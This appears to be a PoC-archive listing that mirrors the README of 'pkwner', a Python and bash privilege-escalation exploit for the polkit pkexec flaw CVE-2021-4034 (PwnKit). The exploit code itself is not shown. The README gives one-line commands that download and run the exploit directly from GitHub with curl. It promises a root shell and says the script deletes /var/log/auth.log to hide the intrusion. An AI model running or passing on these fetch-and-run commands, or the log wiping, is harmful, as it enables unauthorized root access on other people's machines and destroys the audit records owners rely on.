Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source
Associated Vulnerability
Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则,实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞,攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后,如果目标计算机上没有权限的用户拥有管理权限,攻击可能会导致本地权限升级。
Description
A python3 and bash PoC for CVE-2021-4034 by Kim Schulz
Readme
```
██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗
██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝
A Python3 and a BASH PoC for CVE-2021-4034 by Kim Schulz
``` 

# Intro

This is a simple PoC for the newly found Polkit error names [PwnKit](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034).

I made it both as bash and python3 script - just for the fun of it. 

The issue is very simple to abuse but has huge consequences as it will easily give root access on most Linux machines where the attacker has local user access. 

# How to run
This scripts are a one shot execution so simply do
```
python3 pkwner.py
```
or
```
bash pkwner.sh
```
You can also run it directly from a webserver (e.g. this github repo) via:
```
python3 <(curl https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.py)
```
or
```
source <(curl -s https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.sh))
```

In both cases it should look something like this:
![alt text](https://github.com/kimusan/pkwner/raw/main/screenshot-py.gif "screenshot")
and 
![alt text](https://github.com/kimusan/pkwner/raw/main/screenshot-sh.gif "screenshot")


The script will create some files and folders but will cleanup after itself when the root shell is popped - it will even clean up the /var/log/auth.log (because why not). 

# Credits

- **Qualys** for finding the issue and making the info public
- **Andris Raugulis** for making one of the first PoCs to get inspired from
- **MiscGang** because misgang@[Kalmarunionen](https://kalmarunionen.dk) are baddass 
File Snapshot

[4.0K] /data/pocs/494633e992f2ad23ae8afbaabb39deb12ecec088 ├── [3.6K] pkwner.py ├── [2.1K] pkwner.sh ├── [2.3K] README.md ├── [ 57K] screenshot.png ├── [ 62K] screenshot-py.gif └── [ 53K] screenshot-sh.gif 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.